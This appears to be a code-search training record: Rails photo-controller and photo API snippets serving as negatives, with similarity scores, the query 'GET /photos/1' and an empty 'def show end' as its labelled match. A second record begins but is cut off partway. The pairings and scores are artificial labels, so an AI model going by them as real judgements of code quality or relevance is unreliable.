}\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @model = Model.find(params[:id])\n @photos = @model.photos.paginate(:page => params[:page], :per_page => 10)\n @photo = Photo.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end", "def show\n @photo = current_user.photos.find params[:id]\n respond_to do |format|\n format.html { redirect_to photos_path, alert: \"Sorry, can't view individual photos yet\" }\n format.json { render json: @photo }\n end\n end", "def index\n @team_photos = TeamPhoto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @team_photos }\n end\n end", "def index\n render json: Picture.all\n end", "def photos(page = 1, per_page = 10)\n params = {\n page: page,\n per_page: per_page\n }\n\n list = JSON.parse(connection.get(\"/collections/#{id}/photos\", params).body)\n list.map { |photo| Unsplash::Photo.new photo }\n end", "def index\n @photos = Photo.find_with_reputation(:votes, :all, order: 'votes desc')\n @photos = Kaminari.paginate_array(@photos).page(params[:page]).per(4)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def photos(id, group = 'checkin', options = {})\n get(\"venues/#{id}/photos\", {:group => group }.merge(options)).photos\n end", "def show\n photo_obj = API.get_one(params[:id])\n if photo_obj['error'].nil?\n photo = PhotoPresenter.new(photo_obj['photo'])\n render :json => photo.as_json\n else\n render :json => photo_obj\n end\n end", "def index\n @photos = @album.photos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @photos }\n end\n end", "def show\n\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @photo }\n end\n end", "def index\n @photos = @room.photos\n end", "def show\n @look_book = LookBook.find(params[:id])\n\n @photos = @look_book.photos\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @look_book }\n end\n end", "def _state_photos(state_id)\n get('state/photos', state_id, options: { type: :array })\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @photo }\n end\n end", "def photos( options = {} )\n Photo.api_query( 'photosets.getPhotos', @client, options.merge(:photoset_id => id) )\n end", "def index\n if params[:all] == 'true'\n @photos = Photo.all\n else\n @photos = Photo.paginate(:page => params[:page], :per_page => 50)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def photos\n return all_photos if @json[\"photos\"].blank?\n @json[\"photos\"][\"groups\"].select { |g| g[\"type\"] == \"venue\" }.first[\"items\"].map do |item|\n Foursquare::Photo.new(@foursquare, item)\n end\n end", "def photos\n return all_photos if @json[\"photos\"].blank?\n @json[\"photos\"][\"groups\"].select { |g| g[\"type\"] == \"venue\" }.first[\"items\"].map do |item|\n Foursquare::Photo.new(@foursquare, item)\n end\n end", "def show\n @photo = Photo.find(params[:id])\n @comments = @photo.comments\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @photos.map{|photo| photo.to_jq_image } }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n @comments = Comment.where(:photo_id => params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def photos(criteria = {})\n original_photos = service.photos(criteria)\n original_photos.map { |original_photo| Picture.from_flickr(original_photo) }\n end", "def index\n @pictures = Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def show\r\n @photo = Photo.find(params[:id])\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @photo }\r\n end\r\n end", "def index\n\t@photos = Photo.all\n\tend", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def show\n if @photo.nil?\n render json: {error: 'foto no encontrada'}, status: :not_found\n else\n render json: @photo\n end\n end", "def show\n # Pull the selected photo album.\n @photo_tag = PhotoTag.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @photo_tag\n end\n end\n end", "def show\n # @photo = @gallery.photos.build\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "def index\n @photos = Photo.all\n end", "def photos\n @photos ||= begin\n (doc/'photos'/'photo').collect do |photo|\n MiniFlickr::Photo.new( photo.attributes['id'], flickr_api_data[:api_key] )\n end\n end\n end", "def photos( params={} )\n photos = get_connections(\"photos\", params)\n return map_connections photos, :to => Facebook::Graph::Photo\n end", "def show\n @photo = @album.photos.new\n @photos = @album.photos.order('created_at DESC').page(params[:page]).per(12)\n respond_to do |format|\n format.js\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n # @comments = Comment.where(:photo_id => params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def index\n @rock_photos = RockPhoto.paginate(page: params[:page], per_page: params[:size])\n .order(created_at: :desc).all\n render json: @rock_photos\n end", "def index\n @sample_photos = SamplePhoto.paginate(page: params[:page], per_page: params[:size])\n .order(created_at: :desc).all\n render json: @sample_photos\n end", "def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos\n @photos_j = @album.photos.map { |p| p.json }\n @photo = Photo.new\n @album.add_one_view\n\n # @images = Dir.glob(\"app/assets/images/*.jpg\")\n # pic_hash = @images.first(10).map { |i| {:pic_url => i}}\n # @photos = pic_hash.each_with_index.map {|i,v| {:photo_id => v.to_s + \"1\" }.merge(i) }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos_j }\n end\n end", "def index\n @photos = if params[:id].present?\n if params[:limit]\n Collection.find(params[:id]).photos.order(\"created_at DESC\").limit(4)\n else\n Collection.find(params[:id]).photos.order(\"created_at DESC\")\n end\n else\n Photo.ranked\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def create\n @photos = Photo.new(photos_params)\n if @photos.save\n render json: { id: @photos.id, url: @photos.gallery.url,\n size: @photos.gallery_file_size }\n else\n render json: { id: nil }\n end\n end", "def show\n render(\n status: :ok,\n json: @photo.as_json(\n only: [:photo_id, :country, :state, :city, :landmark, :latitude, :longitude, :perspective, :user_id, :photo_url],\n )\n )\n end", "def index\n if(params[:study])\n @photos = Photo.order(\"rank DESC\").where(\"tag = ?\", params[:study].gsub(\"\\u00A0\", \" \").gsub(\"\\u00C2\", \" \").strip)\n elsif(params[:frontpage])\n @photos = Photo.order(\"rank DESC\").where(\"front_page = ?\", true)\n else\n @photos = Photo.order(\"tag ASC, rank DESC\").all\n end \n\n @photos.each { |photo| photo.medium_url = photo.photo_file.url(:medium) } \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos.to_json({:only => [:name, :image_width], :methods => :medium_url}) }\n end\n end", "def venue_photos venue_id, options={}\n response = get(\"/venues/#{venue_id}/photos\", options)[\"response\"][\"photos\"]\n response[\"items\"].map!{|item| Foursquared::Response::Photo.new(self, item)}\n response\n end", "def user_photos(id = 'self', options = {})\n get(\"/users/#{id}/photos\", options).photos\n end", "def show\n @casestudy = Casestudy.find(params[:id])\n @photos = @casestudy.photos.order( :created_at )\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @casestudy }\n end\n end", "def getJson\n if params[:id].present?\n render json: (TraditionalRoutePhoto.where(traditional_route_id: params[:id]))\n else\n render json: (TraditionalRoutePhoto.all)\n end\n end", "def index\n @gallery_photos = Gallery.find(params[:gallery_id]).photos\n end", "def index\n @photos = @place.photos\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @photos.to_xml }\n end\n end", "def index\n @photos = @contest.photos.for_user(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @photos }\n end\n end", "def index\n @photos = @allbum.photos\n end", "def get_image_from_photo_info(photos)\n photos.map do |photo|\n \"https://live.staticflickr.com/#{photo['server']}/#{photo['id']}_#{photo['secret']}.jpg\"\n end\n end", "def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end", "def index\n @activity = Activity.find(params[:activity_id])\n @pictures = @activity.pictures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end" ]
[ "0.8192671", "0.8084962", "0.7820687", "0.7662806", "0.76157993", "0.7597941", "0.7566764", "0.75608486", "0.7540451", "0.75032324", "0.7496815", "0.7360214", "0.7275886", "0.7223893", "0.72033954", "0.713234", "0.7127612", "0.7124163", "0.7120244", "0.7060392", "0.7055266", "0.7051116", "0.7031017", "0.7021036", "0.701806", "0.70086336", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.69950444", "0.6992289", "0.6988422", "0.6986566", "0.6974588", "0.69573516", "0.6945844", "0.6943156", "0.6938484", "0.69256556", "0.69237626", "0.6922093", "0.6916646", "0.6914051", "0.6911041", "0.69091153", "0.6886856", "0.6882846", "0.6882846", "0.6860959", "0.6855018", "0.6834397", "0.68230236", "0.6822413", "0.681321", "0.6811154", "0.6802519", "0.6802461", "0.6797551", "0.6796466", "0.67847115", "0.67794764", "0.6778444", "0.6774658", "0.6769481", "0.67688924", "0.6761604", "0.6759226", "0.6759042", "0.6741299", "0.6741043", "0.673282", "0.67323124", "0.67188376", "0.67182714", "0.67174745", "0.6716973", "0.6716629", "0.6714281", "0.6710932", "0.6697637", "0.6671498", "0.6662286", "0.6662116" ]
0.6784411
77
GET /photos/1 GET /photos/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end", "def photos options={}\n response = client.get(\"/#{id}/photos\", options)\n end", "def show\n @photo = Photo.find(params[:id])\n\n render json: @photo\n end", "def index\n @photos = Photo.all\n\n render json: @photos\n end", "def show\n @photo = @allbum.photos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def index\n @photos = Photo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def index\n @photos = Photo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos }\n end\n end", "def index\n # @photos = Photo.all\n data = Photo.all\n render status: :ok, json: data\n end", "def index\r\n @photos = Photo.all\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @photos }\r\n end\r\n end", "def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos }\n end\n end", "def show\n photo_obj = API.get_one(params[:id])\n if photo_obj['error'].nil?\n photo = PhotoPresenter.new(photo_obj['photo'])\n render :json => photo.as_json\n else\n render :json => photo_obj\n end\n end", "def index\n session_guest.hit_logger(\"photo\")\n @photos = Photo.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def photo(photo, options = {})\n get(\"photos/#{photo}\", options).pop\n end", "def index\n #@photos = Photo.all\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @photos }\n #end\n end", "def get_photos(arg)\n response_str = RestClient.get(\"#{arg}.json\")\n response_hash = JSON.parse(response_str)\n return response_hash\nend", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def index\n @photos = get_possible_photos\n paginate json: @photos, per_page: 10\n end", "def show\n\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @photo }\n end\n end", "def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @photo }\n end\n end", "def show\n @photo1 = Photo1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo1 }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos\n @photos_j = @album.photos.map { |p| p.json }\n @photo = Photo.new\n @album.add_one_view\n\n # @images = Dir.glob(\"app/assets/images/*.jpg\")\n # pic_hash = @images.first(10).map { |i| {:pic_url => i}}\n # @photos = pic_hash.each_with_index.map {|i,v| {:photo_id => v.to_s + \"1\" }.merge(i) }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos_j }\n end\n end", "def show\n @photo = current_user.photos.find params[:id]\n respond_to do |format|\n format.html { redirect_to photos_path, alert: \"Sorry, can't view individual photos yet\" }\n format.json { render json: @photo }\n end\n end", "def show\r\n @photo = Photo.find(params[:id])\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @photo }\r\n end\r\n end", "def index\n @fotos = Foto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fotos }\n end\n end", "def index()\n @photos = all_photos()\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @model = Model.find(params[:id])\n @photos = @model.photos.paginate(:page => params[:page], :per_page => 10)\n @photo = Photo.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end", "def index\n render json: Picture.all\n end", "def show\n if @photo.nil?\n render json: {error: 'foto no encontrada'}, status: :not_found\n else\n render json: @photo\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo.as_json(:methods => Photo::FIELDS) }\n end\n end", "def show\n @picture = @album.pictures.find(params[:id]) #JRD111115\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @picture}\n end\n end", "def show\n @photo = Photo.find(params[:id])\n\t@album = Album.find(@photo.album_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n # Pull the selected photo album.\n @photo_tag = PhotoTag.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @photo_tag\n end\n end\n end", "def show\n @look_book = LookBook.find(params[:id])\n\n @photos = @look_book.photos\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @look_book }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n @comments = @photo.comments\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def index\n @photos = @album.photos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @photos }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n # @comments = Comment.where(:photo_id => params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @photo = Photo.find(params[:id])\n @comments = Comment.where(:photo_id => params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end", "def index\n @users_photos = UsersPhoto.all\n respond_to do |format|\n\n format.html # index.html.erb\n format.json { render json: @users_photos }\n end\n end", "def image_list\n @images = Picture.where(album_id: params[:album_id])\n respond_to do |format|\n format.json { render json: @images.to_json(methods: [:path])}\n end\n end", "def index\n @photos = if params[:id].present?\n if params[:limit]\n Collection.find(params[:id]).photos.order(\"created_at DESC\").limit(4)\n else\n Collection.find(params[:id]).photos.order(\"created_at DESC\")\n end\n else\n Photo.ranked\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def index\n if(params[:study])\n @photos = Photo.order(\"rank DESC\").where(\"tag = ?\", params[:study].gsub(\"\\u00A0\", \" \").gsub(\"\\u00C2\", \" \").strip)\n elsif(params[:frontpage])\n @photos = Photo.order(\"rank DESC\").where(\"front_page = ?\", true)\n else\n @photos = Photo.order(\"tag ASC, rank DESC\").all\n end \n\n @photos.each { |photo| photo.medium_url = photo.photo_file.url(:medium) } \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos.to_json({:only => [:name, :image_width], :methods => :medium_url}) }\n end\n end", "def index\n @photos = @allbum.photos\n end", "def get_photos_from_flickr(args = {})\n args = GET_PHOTOS_DEFAULT_OPTIONS.merge(args)\n response = client.people.getPhotos(args)\n return nil if response.page > response.pages\n\n normalize(response:)\n end", "def index\n @photos = @room.photos\n end", "def show\n # @photo = @gallery.photos.build\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @photos.map{|photo| photo.to_jq_image } }\n end\n end", "def photos(args = {})\r\n return Net::Flickr.instance().photos.get_public_photos(@id, args)\r\n end", "def index\n @pictures = Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def index\n @gallery_photos = Gallery.find(params[:gallery_id]).photos\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def index\n @activity = Activity.find(params[:activity_id])\n @pictures = @activity.pictures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def index\n\t@photos = Photo.all\n\tend", "def create\n @photos = Photo.new(photos_params)\n if @photos.save\n render json: { id: @photos.id, url: @photos.gallery.url,\n size: @photos.gallery_file_size }\n else\n render json: { id: nil }\n end\n end", "def index\n @photos = Photo.all\n end", "def index\n @photos = Photo.all\n end", "def index\n @photos = Photo.all\n end", "def index\n @photos = Photo.all\n end", "def index\n @photos = Photo.all\n end", "def index\n @photos = Photo.all\n end", "def index\n @photos = Photo.all\n end", "def index\n @photos = Photo.all\n end", "def index\n @photos = Photo.all\n end", "def rover_images(roverName, **parameters)\n uri = URI(\"#{@rover_url}#{roverName}/photos.html\")\n parameters[:api_key] = @api_key\n uri.query = URI.encode_www_form(parameters)\n response = Net::HTTP.get_response(uri)\n\n return [] unless response.is_a?(Net::HTTPSuccess) # if requests fails, returns empty array\n\n JSON.parse(response.body)['photos']\n end", "def show\n @users_photo = UsersPhoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users_photo }\n end\n end", "def show\n @casestudy = Casestudy.find(params[:id])\n @photos = @casestudy.photos.order( :created_at )\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @casestudy }\n end\n end", "def new\n @photo = @allbum.photos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def show\n @user_photo = UserPhoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_photo }\n end\n end", "def photos(page = 1, per_page = 10)\n params = {\n page: page,\n per_page: per_page\n }\n\n list = JSON.parse(connection.get(\"/collections/#{id}/photos\", params).body)\n list.map { |photo| Unsplash::Photo.new photo }\n end", "def index\n @team_photos = TeamPhoto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @team_photos }\n end\n end", "def show\n @album2photo = Album2photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album2photo }\n end\n end", "def show\n render json: @picture\n end", "def show\n render json: @sample_photo\n end", "def index\n if params[:all] == 'true'\n @photos = Photo.all\n else\n @photos = Photo.paginate(:page => params[:page], :per_page => 50)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def show\n @photo_library = PhotoLibrary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo_library }\n end\n end", "def index\n @photos = Photo.all\n end", "def show\n render json: @picture, status: :ok\n end", "def index\n @photos = Photo.find_with_reputation(:votes, :all, order: 'votes desc')\n @photos = Kaminari.paginate_array(@photos).page(params[:page]).per(4)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end", "def show\n @pic = Pic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic }\n end\n end", "def show\n @photo = @album.photos.new\n @photos = @album.photos.order('created_at DESC').page(params[:page]).per(12)\n respond_to do |format|\n format.js\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def show1\r\n @photo = Photo.find(params[:id])\r\n @user = @photo.user\r\n data = {\r\n :photo=> @photo,\r\n :user => @user\r\n }\r\n render json: data\r\n \r\n end", "def get_image_from_photo_info(photos)\n photos.map do |photo|\n \"https://live.staticflickr.com/#{photo['server']}/#{photo['id']}_#{photo['secret']}.jpg\"\n end\n end", "def _state_photos(state_id)\n get('state/photos', state_id, options: { type: :array })\n end", "def show\n @image = Image.find(params[:id])\n\n render json: @image\n end", "def show\n @image = Image.find(params[:id])\n\n render json: @image\n end", "def show\n render(\n status: :ok,\n json: @photo.as_json(\n only: [:photo_id, :country, :state, :city, :landmark, :latitude, :longitude, :perspective, :user_id, :photo_url],\n )\n )\n end" ]
[ "0.84863234", "0.7777037", "0.7566973", "0.7507857", "0.7482775", "0.742858", "0.73779064", "0.73423064", "0.73400605", "0.73322564", "0.73005956", "0.7280408", "0.725952", "0.7259299", "0.7214884", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.719664", "0.716885", "0.7144676", "0.7141739", "0.7124926", "0.7102725", "0.7090629", "0.7062727", "0.70574594", "0.70421803", "0.7023767", "0.70209706", "0.69843286", "0.69703317", "0.6908883", "0.6908387", "0.6908126", "0.69060826", "0.68886083", "0.6884222", "0.68801636", "0.68718433", "0.687059", "0.68662274", "0.68611664", "0.6839732", "0.6831596", "0.6818606", "0.6808661", "0.6808471", "0.6794642", "0.6792588", "0.67864853", "0.67824656", "0.6775689", "0.67655355", "0.6747661", "0.6741997", "0.67419416", "0.6739223", "0.67379624", "0.6733143", "0.6733143", "0.6733143", "0.6733143", "0.6733143", "0.6733143", "0.6733143", "0.6733143", "0.6733143", "0.6725657", "0.6722098", "0.67190707", "0.6717003", "0.67159677", "0.67140144", "0.6707969", "0.6706987", "0.6703676", "0.6689443", "0.66894037", "0.6688249", "0.6688056", "0.6687846", "0.6684102", "0.6680888", "0.66704667", "0.66568273", "0.66512996", "0.6624271", "0.6615505", "0.66136277", "0.66136277", "0.66052043" ]
0.0
-1
POST /photos POST /photos.json
def create # This path within filesystem to which uploaded # file will be copied. Server can not write to # assets directory directory = "public/staging" # grab the ActionDispath::Http:UploadedFile object file = params[:photo][:file] # orig_name = file.original_filename # This is "path" for image per image_tag and asset # naming policy @image="/staging/#{orig_name}" if request.post? path = File.join(directory, orig_name) # copy tmp file into public FileUtils.copy(file.tempfile.path, path) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @photos = Photo.new(photos_params)\n if @photos.save\n render json: { id: @photos.id, url: @photos.gallery.url,\n size: @photos.gallery_file_size }\n else\n render json: { id: nil }\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n if @photo.save\n render json: @photo, status: :created\n else\n render json: @photo.errors, status: :unprocessable_entity\n end\n end", "def create_photos\n end", "def create\n @photo = Photo.new(photo_params)\n @photo.user = @current_user\n if @photo.save\n render json: @photo\n else\n render json: @photo.errors, status: :unprocessable_entity\n end\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n save_to_json \n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pet = current_user.pets.new(pet_params)\n\n params[:pet][:photos][:photo].each {|photo| @pet.photos.build(photo: photo)} if params[:pet][:photos].present?\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.find(params[:album_id])\n @photo = @album.photos.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to album_photo_path(@album,@photo), :notice => 'Photo was successfully created.' }\n format.json { render :json => @photo, :status => :created, :location => @photo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_property_photos(photos)\n post_photos_for_property_id(photos.first.propertyID, photos)\n end", "def create\n p params\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, :notice => 'Photo was successfully created.' }\n format.json { render :json => @photo, :status=> :created, :location=> @photo }\n else\n format.html { render :action=> \"new\" }\n format.json { render :json => @photo.errors, :status=> :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n @photo.vote =0\n respond_to do |format|\n if @photo.save\n current_user.photos.push @photo\n format.html { redirect_to photos_path, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @photo = Photo.new\n\n render json: @photo\n end", "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end", "def create\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n p_attr = params[:photo]\n p_attr.permit!\n @photo = Photo.new(p_attr)\n\n respond_to do |format|\n if @photo.save\n #save new link between photo and post\n if (params[:post_id].length)\n\n countInPost = PostPhoto.where(post_id: params[:post_id]).count\n @photo.sort = (countInPost+1)*100\n @photo.save\n\n #check post\n post = 